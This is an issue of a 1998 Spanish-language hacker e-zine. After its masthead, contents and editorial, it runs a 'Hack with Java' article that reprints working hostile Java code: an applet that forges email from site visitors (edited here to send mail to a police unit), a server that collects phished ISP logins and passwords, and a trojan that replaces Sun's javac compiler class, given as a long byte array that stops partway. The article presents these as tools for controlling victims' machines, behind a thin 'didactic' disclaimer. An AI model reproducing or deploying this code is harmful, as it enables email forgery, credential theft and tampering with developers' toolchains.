ÉÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ» ³ ÚÄÄÄÄÄÄ¿ ³ ³ ³ÛÛÛÛÛÛ³ ³ ³ ÚÄÄÄÄÄÄ´ÛÛÚÄÄÄÙ ³ ³ ÚÄÄÄÄÄÄ´ÛÛÛÛÛÛ³ÛÛÀÄ¿ ³ ³ ³ÛÛÛÛÛÛÃÄ¿ÛÛÚÄ´ÛÛÛÛ³ ³ ³ ÀÄ¿ÛÛÚÄÁ¿³ÛÛ³J³ÛÛÚÄÙ ³ ³ ÚÄÄ¿³ÛÛ³ÛÛÀÙÛÛ³J³ÛÛ³ ³ ³ ³ÛÛÀÙÛÛ³ÛÛÛÛÛÛ³FÃÄÄÙ ³ ³ ³ÛÛÛÛÛÛÃÄÄÄÄÄÄÁÄÙ ³ ³ ÀÄÄÄÄÄÄÙ ³ ³ H A C K E R S T E A M ³ ³ J O U R N A L ³ ÌÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĹ ³ VOL. #1, N§4, 1998. ³ ÈÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄļ THE HACKERS ARE COMMING TO SAVE THE EARTH. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Nota: - J.J.F. / HACKERS TEAM - no se hace responsable del mal uso de la informacion aqui expuesta y tampoco tiene que estar de acuerdo con lo que sus colaboradores opinen. Tampoco esperamos que la gente use la informacion aqui expuesta para hacer da¤o ya que tan solo es con fines didacticos. Recomendado el uso del editor del MS-DOS. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= #CURRENT MEMBERS : - CONDE VAMPIRO - CODER H/P/V EDITOR - MAC CRACK BISHOP - CODER C/P WEBMASTER #WEB OFICIAL : - http://www.angelfire.com/mi/JJFHackers - http://jjfhackers.home.ml.org #E-MAIL OFICIAL : - jjf_team@usa.net #DISTRIBUIDORES OFICIALES DEL E-ZINE : - http://wakanda.islatortuga.com - http://underhack.islatortuga.com - http://personal.redestb.es/cheroky-1 - http://members.xoom.com/baron_rojo/ #MIEMBRO OFICIAL (web ring) DE : - Black Angels - Spanish Underground Web Ring #COLABORADORES CON ESTE NUMERO : - Daemon - Nobody - DrSlump (OiOiO's Band) - Bisho - Silicon Dragon #SALUDOS : - Metalslug (Wakanda) - Schoddy Guy (Underhack) - Cheroky - Silicon Dragon <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> - INDICE. TITULO AUTOR ÄÄÄÄÄÄÄÄÄÄÄÄ\_______________________________/ÄÄÄÄÄÄÄÄÄÄÄÄ * EDITORIAL ................................ J.J.F. / HACKERS TEAM * HACK WITH JAVA ........................... NOBODY. * UN POKILLO DE PHREAKING .................. DRSLUMP. * CURSO DE HACK IV ......................... CONDE VAMPIRO. * COMO HACKEAR UN TAMATGOTCHI .............. BISHO. * MANIFIESTO DE UN HACKER NOVATO ........... SILICON DRAGON. * INTRODUCCION AL HACKING v2.0 II .......... DAEMON. * EL LECTOR OPINA .......................... VARIOS. * NOTICIAS UNDERGROUND ..................... J.J.F. / HACKERS TEAM <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ------------- ³ EDITORIAL ³ ------------- Bueno, parece mentira, ya estamos en el cuarto numero de este ezine, y por lo que podemos comprobar parece que esta gustando mucho a la comunidad underground y eso nos alegra mucho y nos anima a seguir pero por supuesto nos teneis que ayudar enviando articulos o cualquier cosa que pienses que puede servir para este ezine. Ya hemos superado el numero de algunas publicaciones underground antiguas y esto nos sorprende pero esta claro que pensamos editar muchos mas numeros y crear algo que valga la pena para los hackers hispanos. Sinceramente, cuando empezamos con este proyecto hace ya unos 6 meses, no pensabamos que conseguiria abrirse un hueco como lo esta haciendo, incluso aquellas lejanas voces que nos criticaban por esta supuesta locura, han desaparecido, demostrando que estaban equivocados al no darnos una oportunidad al empezar. Como es bien sabido, siempre es mas facil criticar, que ayudar. Nos gustaria que los hackers hispanos nos ayudeis en la elaboracion de este ezine enviando vuestros articulos o actos de hack, con lo que consiguiremos una revista autenticamente hispana y nos olvidaremos de los topicos americanos, que estan demasiados vistos, ademas cuando es bien sabido que en el underground hispano hay magnificos hackers. Os queremos comentar que la seccion EL LECTOR OPINA, parece que funciona muy bien, ya que recibismos muchas cartas de los lectores, pero como sabeis nos gustaria que fuese mas dinamica esta seccion, esto se consiguiria si fueseis los propios lectores que os contestaises entre vosotros, nosotros os ponemos los medios y os ayudamos cuando sea necesario ;-) Destacar que en este numero del ezine, en la seccion de NOTICIAS UNDERGROUND os hemos preparado una serie de articulos dedicados a los hackers que recientemente entraron en el Pentagono, y que estamos seguros que os gustaran mucho. Tambien decir que a partir de ahora contamos con mas distribuidores oficiales, como el web de Cheroky y el de Silicon Dragon. O sea que ahora no teneis excusa para decir que no podeis encontrar este ezine ;-) Por algun extra¤o misterio que no comprendemos, muchos de nuestros lectores nos siguen enviado mail a la direccion antigua, ya en el numero 3 os avisamos que hemos cambiado de direccion de correo, por lo que a partir de ahora los mail's que sean enviados a la direccion antigua no seran contestados. Por eso apuntaros la nueva o pasaros por el web, ya que siempre estaras a la ultima de cualquier cambio en - J.J.F. / HACKERS TEAM -. Nos gustaria deciros que si teneis un link a nuestro web o quereis colaborar de alguna forma con el ezine, solo nos teneis que enviar un mail informandonos de ello, por ejemplo si quereis ser distribuidores oficiales, quereis pasar el ezine a otro formato, llevar una seccion en el ezine, etc... Ya corto con el tipico rollo y que empieze el ezine, pero no antes sin decirte que si quieres enviar un articulo, actos de hacking, sugerencias, propuestas o criticas, escribe a la siguiente direccion: jjf_team@usa.net - J.J.F. / HACKERS TEAM - <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> 27-02-1998. ?????? Û Û Û Û Û Û Û Û Û HACK WITH JAVA Û ÄÄÄÛÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> by NOBODY Û Û Û Û Û Û Û Û Û Û ()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()() Nota Del Autor: No me hago responsable de la mala utilizacion de la informacion aqui expuesta ya que tan solo es para fines didacticos. Por lo que se ruega cuidado al usar el material sensible de este articulo. ()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()() Quien no a oido hablar de Java o como minimo haberlo visto en una web, como por ejemplo esas fantasticas animaciones o esos curiosos botones?? Ese supuesto lenguaje que tenia que ser universal y seguro, solo que como suele pasar la teoria es mas bonita que la practica, y en este caso no podia ser para menos. Para quien no se acuerde de Java o no sepa nada, explicaremos un poco su mecanismo. Java es un lenguaje de caracter general creado por James Gosling e introducido por Sun Microsystems, el cual se puede ejecutar en cualquier plataforma, por ejemplo, podemos escribir un programa en un pc corriendo Win y despues pasarlo a un Sparc sin ningun problema. Esto es debido a la compilacion de Java que es diferente que los demas lenguajes. Cuando compilamos en Java (el fichero *.java, que es el fuente) este pasa a un formato en binario *.class (lo que se conoce como Bytecode) y despues tiene que ser leido por la maquina virtual java que tiene que estar en la plataforma que querramos usar el programa, practicamente hoy en dia en todas las plataformas hay maquinas virtuales java. Digamos que Java presenta 2 tipos principales de peligros, el primero seria usar applets o programas en java en nuestro ordenador sin saber de donde vienen, logicamente hay medidas de seguridad contra esto pero se pueden evitar ;-) y el segundo tipo sera la que nos interesa en este articulo y que paso a describir con mas profundidad. Este 2 grupo al que me refiero seria cuando conectamos a un web con applets de java, ya que hay varios tipos de ataques que podemos sufrir o en nuestro caso usar para nuestro hacking. Este tipo de ataques los podemos dividir en 4 categorias. Que serian estas: 1- Modificacion del sistema. 2- Invadir la privacidad. 3- Denegacion de servicios (DoS). 4- Molestos. 1- Modificacion del sistema. Este ataque seria cuando un usuario conecta a un web donde haya un applet de java y este le modifique su ordenador sin que el usuario se percate de nada. Logicamente esto es muy util si queremos controlar el ordenador de nuestra victima. Este codigo en java es muy divertido, ya que cuando una persona visite nuestro web, el applet de java enviara un mail suyo al G.D.I. (Grupo de Delincuencia Informatica de la Guardia Civil, peque¤o ajuste que le he hecho al codigo }:-) y lo mejor es que la victima ni se enterra. ------------ Codigo Fuente --------------------------------------------------- /* Forger.java by Mark D. LaDue */ /* March 15, 1996 */ /* Copyright (c) 1996 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* This hostile applet forges an elctronic mail letter from the person who views the applet in a browser to the person whose address appears in the string "toMe." The return address will be listed as HostileApplets@ followed by the string "mailFrom." The appropriate commands to use for sendmail can be often be found in the file /etc/mail/sendmail.hf. Note that while the person viewing the applet actually does initiate the mail by connecting (involuntarily) to port 25, the applet host's role in sending it is not so easily hidden. See the full header of any e-mail letter sent by the applet for more details. */ import java.applet.*; import java.io.*; import java.net.*; public class Forger extends java.applet.Applet implements Runnable { public static Socket socker; public static DataInputStream inner; public static PrintStream outer; public static int mailPort = 25 ; public static String mailFrom = "guardiacivil.org"; public static String toMe = "gc.uco@mad.servicom.es"; public static String starter = new String(); Thread controller = null; public void init() { try { socker = new Socket(getDocumentBase().getHost(), mailPort); inner = new DataInputStream(socker.getInputStream()); outer = new PrintStream(socker.getOutputStream()); } catch (IOException ioe) {} } public void start() { if (controller == null) { controller = new Thread(this); controller.setPriority(Thread.MAX_PRIORITY); controller.start(); } } public void stop() { if (controller != null) { controller.stop(); controller = null; } } public void run() { try { starter = inner.readLine(); } catch (IOException ioe) {} mailMe("HELO " + mailFrom); mailMe("MAIL FROM: " + "HostileApplets@" + mailFrom); mailMe("RCPT TO: " + toMe); mailMe("DATA"); mailMe("Subject: About PenPal.java" + "\n" +"Hi Venkat," + "\n" + "\n" + "Thanks for taking a look at PenPal.java. From your note\n" + "I think I can understand why you're not seeing the desired\n" + "result. My guess is that perhaps you're only looking at\n" + "an abbreviated header from an e-mail note that the applet\n" + "forges. In order to get the whole story, you have to\n" + "inspect the full header. That's where you'll be able to\n" + "discern more information about the *sender*. Of course\n" + "that's exactly what my shell script retrieves from\n" + "/var/mail/mladue. None of this is apparent from the\n" + "source code, and indeed I noticed it quite by accident \n" + "when I was fiddling around trying to make my mail forging\n" + "applet work. Perhaps it's a peculiarity of the mail\n" + "system here in the School of Mathematics, but it really works\n" + "for me here. So I hope that's what it is and that you'll\n" + "be able to reproduce my results there.\n" + "\n" + "Mark LaDue\n" + "mladue@math.gatech.edu\n" + "\n" + "\n" + "P.S. Of course one of my applets forged this note.\n" + "\n." + "\n"); mailMe("QUIT"); try { socker.close(); } catch (IOException ioe) {} } public void mailMe(String toSend) { String response = new String(); try { outer.println(toSend); outer.flush(); response = inner.readLine(); } catch(IOException e) {} } } ------------ FIN ------------------------------------------------------------- Este curioso applet nos sera de gran ayuda, ya que cuando un usuario vea nuestro web, el applet emulara un modo de servidor, con lo que podremos obtener informacion del ordenador de usuario. Este codigo acompa¤a el applet llamado "Ungrateful.java", el cual esta mas abajo y asi podremos enga¤ar al usuario y recibir su login y password de su ISP ;-) ------------ Codigo Fuente --------------------------------------------------- /* LoginServerSocket.java by Mark D. LaDue */ /* February 28, 1996 */ /* Copyright (c) 1996 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* This Java Application sets up a simple ServerSocket to receive data from the Java applet Ungrateful.java */ import java.applet.Applet; import java.awt.*; import java.io.*; import java.net.*; class LoginServerSocket { public static void main(String args[]) { ServerSocket server; Socket sock; InputStream inStream; // OutputStream outStream; String home = new String("www.math.gatech.edu"); int port = 7000; byte b[] = new byte[128]; int numbytes; String reply; if (args.length != 1) { System.out.println("Command: java LoginServerSocket "); return; } System.out.println("LoginServerSocket Session Starting"); port = Integer.parseInt(args[0]); // Create the ServerSocket try { server = new ServerSocket(port); } catch (IOException ioe) { System.out.println("Unable to open port " + port); return; } // Listen for anyone logging in to the applet while (true) { try { sock = server.accept(); inStream = sock.getInputStream(); } catch (IOException ioe) { System.out.println("Accept failed at port " + port); return; } try { numbytes = inStream.read(b, 0, 128); } catch (IOException ioe) { System.out.println("Read failed at port " + port); return; } reply = new String(b, 0, 0, numbytes); System.out.println("Host Name / IP Address \t" + "Login \t" + "Password"); System.out.println(reply); // We could send a message back, but we won't right now try { sock.close(); } catch (IOException ioe) { System.out.println("Unable to close port " + port); } } } } ------------ FIN ------------------------------------------------------------- Este programa en java es una especie de virus en java, ya que se aprovecha de un fallo en los compiladores Java de Sun (unix). Cuando el programa Hijacker.java se ejecute, contaminara el compilador y cada vez que cree un fichero *.class saldra el mensaje de "Hijacked!", el programa puede ser facilmente modificado para que los efectos sean peores. ------------ Codigo Fuente --------------------------------------------------- /* Hijacker.java by Mark D. LaDue */ /* January 6, 1997 */ /* Copyright (c) 1997 Mark D. LaDue You may study, use, modify, and distribute this example for any purpose. This example is provided WITHOUT WARRANTY either expressed or implied. */ /* This Java application attacks Sun's Java compiler javac. It takes advantage of the fact that Sun's javac is a shell script that searches for classes first in your CLASSPATH, then in $J_HOME/classes, and finally in $J_HOME/lib/classes.zip. Thus if classes.zip doesn't happen to lie in your CLASSPATH, javac will look for Java classes in $J_HOME/classes before it uses classes.zip. Hijacker.java takes advantage of this fact and creates a hostile $J_Home/classes/sun/tools/javac/Main.class, the main class of the compiler. In this case, the hostile compiler simply announces its presence each time it is run and appends the string "Hijacked!" to every .class file that it produces. Clearly the same could be done to any other Java classes, and a more sophisticated version could simply "patch" classes.zip, or even the Java Runtime, to achieve more dire efffects. By itself a Trojan class like this is not too threatening, but as the payload of a Java Platform virus.... */ import java.io.*; class Hijacker { public static void main (String[] argv) { // The integer array containing a hacked Main.class int[] hijacked = { 202, 254, 186, 190, 0, 3, 0, 45, 1, 109, 8, 1, 98, 8, 1, 99, 8, 1, 100, 8, 1, 48, 8, 1, 108, 8, 1, 104, 8, 1, 59, 8, 1, 60, 8, 1, 68, 8, 0, 217, 8, 0, 248, 8, 1, 90, 8, 1, 87, 8, 1, 18, 8, 1, 15, 8, 1, 64, 8, 0, 241, 8, 1, 69, 8, 1, 71, 8, 1, 38, 8, 0, 209, 8, 0, 212, 8, 1, 49, 8, 1, 102, 8, 1, 106, 8, 0, 230, 8, 1, 37, 8, 1, 27, 8, 1, 32, 8, 1, 65, 8, 1, 67, 8, 0, 253, 8, 1, 79, 8, 1, 78, 8, 1, 84, 8, 0, 202, 8, 0, 204, 8, 1, 34, 8, 1, 88, 7, 1, 45, 7, 0, 254, 7, 1, 74, 7, 1, 5, 7, 1, 1, 7, 0, 223, 7, 0, 252, 7, 0, 246, 7, 1, 47, 7, 0, 236, 7, 1, 0, 7, 1, 75, 7, 1, 95, 7, 0, 250, 7, 0, 231, 7, 0, 242, 7, 1, 43, 7, 1, 50, 7, 0, 255, 7, 0, 251, 7, 0, 249, 7, 1, 12, 7, 1, 10, 7, 1, 89, 7, 1, 16, 7, 1, 53, 10, 0, 40, 0, 140, 10, 0, 57, 0, 161, 10, 0, 40, 0, 193, 9, 0, 57, 0, 165, 10, 0, 45, 0, 143, 10, 0, 49, 0, 186, 10, 0, 46, 0, 154, 10, 0, 45, 0, 185, 10, 0, 61, 0, 194, 10, 0, 61, 0, 175, 10, 0, 50, 0, 138, 10, 0, 47, 0, 168, 10, 0, 61, 0, 167, 10, 0, 60, 0, 201, 10, 0, 43, 0, 166, 11, 0, 63, 0, 196, 11, 0, 63, 0, 182, 10, 0, 48, 0, 197, 10, 0, 61, 0, 160, 10, 0, 49, 0, 144, 10, 0, 60, 0, 149, 10, 0, 46, 0, 158, 10, 0, 45, 0, 197, 9, 0, 57, 0, 141, 10, 0, 58, 0, 177, 10, 0, 58, 0, 181, 10, 0, 61, 0, 146, 10, 0, 62, 0, 190, 10, 0, 57, 0, 142, 10, 0, 43, 0, 184, 10, 0, 62, 0, 200, 10, 0, 62, 0, 195, 10, 0, 58, 0, 187, 9, 0, 50, 0, 159, 10, 0, 41, 0, 168, 10, 0, 62, 0, 183, 9, 0, 50, 0, 171, 10, 0, 57, 0, 199, 9, 0, 50, 0, 169, 10, 0, 57, 0, 172, 10, 0, 43, 0, 191, 10, 0, 65, 0, 145, 10, 0, 45, 0, 192, 10, 0, 49, 0, 163, 10, 0, 50, 0, 157, 10, 0, 55, 0, 197, 10, 0, 50, 0, 148, 10, 0, 62, 0, 173, 10, 0, 48, 0, 162, 10, 0, 60, 0, 180, 10, 0, 60, 0, 150, 10, 0, 45, 0, 170, 10, 0, 62, 0, 198, 10, 0, 49, 0, 164, 10, 0, 62, 0, 168, 10, 0, 47, 0, 153, 10, 0, 48, 0, 152, 10, 0, 50, 0, 176, 10, 0, 54, 0, 186, 10, 0, 54, 0, 147, 10, 0, 50, 0, 179, 10, 0, 64, 0, 178, 10, 0, 54, 0, 192, 9, 0, 62, 0, 189, 10, 0, 56, 0, 174, 10, 0, 61, 0, 151, 10, 0, 51, 0, 188, 10, 0, 57, 0, 156, 9, 0, 43, 0, 139, 10, 0, 46, 0, 195, 10, 0, 48, 0, 155, 10, 0, 47, 0, 188, 12, 0, 206, 0, 213, 12, 0, 215, 0, 220, 12, 0, 229, 1, 80, 12, 1, 72, 1, 86, 12, 1, 54, 1, 30, 12, 1, 31, 0, 244, 12, 0, 208, 1, 83, 12, 1, 13, 1, 81, 12, 1, 96, 1, 83, 12, 0, 211, 0, 222, 12, 0, 221, 1, 7, 12, 1, 11, 1, 80, 12, 0, 218, 1, 41, 12, 1, 36, 1, 51, 12, 1, 23, 1, 52, 12, 0, 214, 1, 81, 12, 0, 210, 1, 80, 12, 1, 42, 1, 83, 12, 1, 39, 1, 81, 12, 0, 235, 1, 81, 12, 0, 243, 1, 107, 12, 1, 20, 1, 91, 12, 1, 19, 1, 9, 12, 0, 228, 1, 62, 12, 0, 240, 1, 7, 12, 1, 46, 1, 44, 12, 0, 234, 1, 14, 12, 0, 215, 1, 26, 12, 1, 24, 1, 82, 12, 0, 237, 1, 35, 12, 0, 243, 1, 30, 12, 1, 2, 1, 91, 12, 1, 31, 1, 73, 12, 1, 94, 1, 91, 12, 0, 218, 1, 30, 12, 0, 243, 0, 233, 12, 0, 228, 1, 4, 12, 0, 216, 1, 29, 12, 1, 22, 1, 101, 12, 0, 238, 1, 81, 12, 1, 6, 1, 30, 12, 0, 243, 1, 33, 12, 0, 218, 1, 63, 12, 1, 93, 1, 57, 12, 0, 203, 1, 80, 12, 0, 243, 1, 21, 12, 0, 239, 1, 3, 12, 1, 31, 0, 245, 12, 1, 70, 0, 222, 12, 0, 243, 1, 3, 12, 1, 25, 1, 3, 12, 1, 85, 1, 92, 12, 0, 205, 1, 80, 12, 1, 77, 0, 224, 12, 1, 56, 1, 76, 12, 0, 219, 1, 40, 12, 0, 247, 1, 29, 12, 0, 226, 1, 76, 12, 0, 225, 1, 40, 12, 0, 243, 1, 81, 12, 1, 55, 1, 80, 12, 0, 243, 1, 105, 12, 1, 97, 1, 76, 12, 1, 103, 1, 80, 1, 0, 37, 89, 111, 117, 114, 32, 74, 97, 118, 97, 32, 99, 111, 109, 112, 105, 108, 101, 114, 32, 104, 97, 115, 32, 98, 101, 101, 110, 32, 104, 105, 106, 97, 99, 107, 101, 100, 33, 1, 0, 15, 104, 97, 115, 77, 111, 114, 101, 69, 108, 101, 109, 101, 110, 116, 115, 1, 0, 11, 102, 97, 116, 97, 108, 46, 101, 114, 114, 111, 114, 1, 0, 6, 109, 107, 100, 105, 114, 115, 1, 0, 14, 108, 111, 97, 100, 68, 101, 102, 105, 110, 105, 116, 105, 111, 110, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 9, 103, 101, 116, 83, 116, 97, 116, 117, 115, 1, 0, 18, 105, 110, 118, 97, 108, 105, 100, 32, 97, 114, 103, 117, 109, 101, 110, 116, 58, 32, 1, 0, 8, 105, 115, 90, 105, 112, 112, 101, 100, 1, 0, 12, 103, 101, 116, 81, 117, 97, 108, 105, 102, 105, 101, 114, 1, 0, 15, 106, 97, 118, 97, 46, 99, 108, 97, 115, 115, 46, 112, 97, 116, 104, 1, 0, 36, 40, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 67, 108, 97, 115, 115, 68, 101, 99, 108, 97, 114, 97, 116, 105, 111, 110, 59, 41, 86, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 3, 111, 117, 116, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 6, 45, 100, 101, 98, 117, 103, 1, 0, 5, 101, 114, 114, 111, 114, 1, 0, 9, 103, 101, 116, 83, 111, 117, 114, 99, 101, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 10, 103, 101, 116, 67, 108, 97, 115, 115, 101, 115, 1, 0, 29, 40, 41, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 73, 100, 101, 110, 116, 105, 102, 105, 101, 114, 59, 1, 0, 22, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 110, 101, 120, 116, 69, 108, 101, 109, 101, 110, 116, 1, 0, 7, 103, 101, 116, 80, 97, 116, 104, 1, 0, 9, 77, 97, 105, 110, 46, 106, 97, 118, 97, 1, 0, 7, 99, 111, 109, 112, 105, 108, 101, 1, 0, 8, 103, 101, 116, 69, 114, 114, 111, 114, 1, 0, 9, 91, 100, 111, 110, 101, 32, 105, 110, 32, 1, 0, 25, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 73, 100, 101, 110, 116, 105, 102, 105, 101, 114, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 18, 103, 101, 116, 67, 108, 97, 115, 115, 68, 101, 102, 105, 110, 105, 116, 105, 111, 110, 1, 0, 11, 102, 108, 117, 115, 104, 69, 114, 114, 111, 114, 115, 1, 0, 31, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 67, 108, 97, 115, 115, 68, 101, 99, 108, 97, 114, 97, 116, 105, 111, 110, 1, 0, 7, 114, 101, 112, 108, 97, 99, 101, 1, 0, 5, 114, 101, 115, 101, 116, 1, 0, 4, 101, 120, 105, 116, 1, 0, 8, 101, 108, 101, 109, 101, 110, 116, 115, 1, 0, 8, 45, 110, 111, 119, 114, 105, 116, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 27, 40, 74, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 27, 40, 73, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 102, 102, 101, 114, 59, 1, 0, 24, 106, 97, 118, 97, 47, 105, 111, 47, 70, 105, 108, 101, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 8, 101, 110, 100, 115, 87, 105, 116, 104, 1, 0, 9, 32, 119, 97, 114, 110, 105, 110, 103, 115, 1, 0, 26, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 69, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 1, 0, 24, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 67, 111, 110, 115, 116, 97, 110, 116, 115, 1, 0, 29, 106, 97, 118, 97, 47, 105, 111, 47, 70, 105, 108, 101, 78, 111, 116, 70, 111, 117, 110, 100, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 24, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 67, 108, 97, 115, 115, 70, 105, 108, 101, 1, 0, 2, 58, 32, 1, 0, 24, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 67, 108, 97, 115, 115, 80, 97, 116, 104, 1, 0, 29, 106, 97, 118, 97, 47, 105, 111, 47, 66, 121, 116, 101, 65, 114, 114, 97, 121, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 32, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 99, 47, 66, 97, 116, 99, 104, 69, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 5, 102, 108, 97, 103, 115, 1, 0, 4, 40, 73, 41, 86, 1, 0, 53, 40, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 69, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 59, 76, 106, 97, 118, 97, 47, 105, 111, 47, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 25, 40, 41, 76, 106, 97, 118, 97, 47, 117, 116, 105, 108, 47, 69, 110, 117, 109, 101, 114, 97, 116, 105, 111, 110, 59, 1, 0, 13, 67, 111, 110, 115, 116, 97, 110, 116, 86, 97, 108, 117, 101, 1, 0, 4, 40, 73, 41, 67, 1, 0, 12, 106, 97, 118, 97, 47, 105, 111, 47, 70, 105, 108, 101, 1, 0, 7, 118, 101, 114, 98, 111, 115, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 62, 40, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 69, 110, 118, 105, 114, 111, 110, 109, 101, 110, 116, 59, 41, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 106, 97, 118, 97, 47, 67, 108, 97, 115, 115, 68, 101, 102, 105, 110, 105, 116, 105, 111, 110, 59, 1, 0, 7, 45, 110, 